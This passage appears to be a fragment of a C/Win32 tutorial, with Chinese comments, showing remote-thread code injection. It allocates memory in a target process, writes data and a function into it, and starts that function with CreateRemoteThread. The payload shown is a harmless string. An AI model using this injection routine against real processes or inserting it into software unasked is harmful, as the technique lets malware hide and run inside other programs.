lstrcpy(Data.Str, "Inject Code !!!");
// 在目标进程申请空间
LPVOID lpData = VirtualAllocEx(hProcess,
NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将数据结构 DATA 写入内存
DWORD dwWriteNum = 0;
WriteProcessMemory(hProcess, lpData, &Data, sizeof(Data), &dwWriteNum);
// 在目标进程空间申请的用于保存代码的长度
DWORD dwFunSize = 0x1000;
LPVOID lpCode = VirtualAllocEx(hProcess, NULL, dwFunSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
// 将线程运行时的函数写入内存
BOOL bRet = WriteProcessMemory(hProcess, lpCode, &RemoteThreadProc, dwFunSize, &dwWriteNum);
if (bRet == FALSE)
{
int n = GetLastError();
}
// 创建远程线程
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)lpCode,
lpData, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}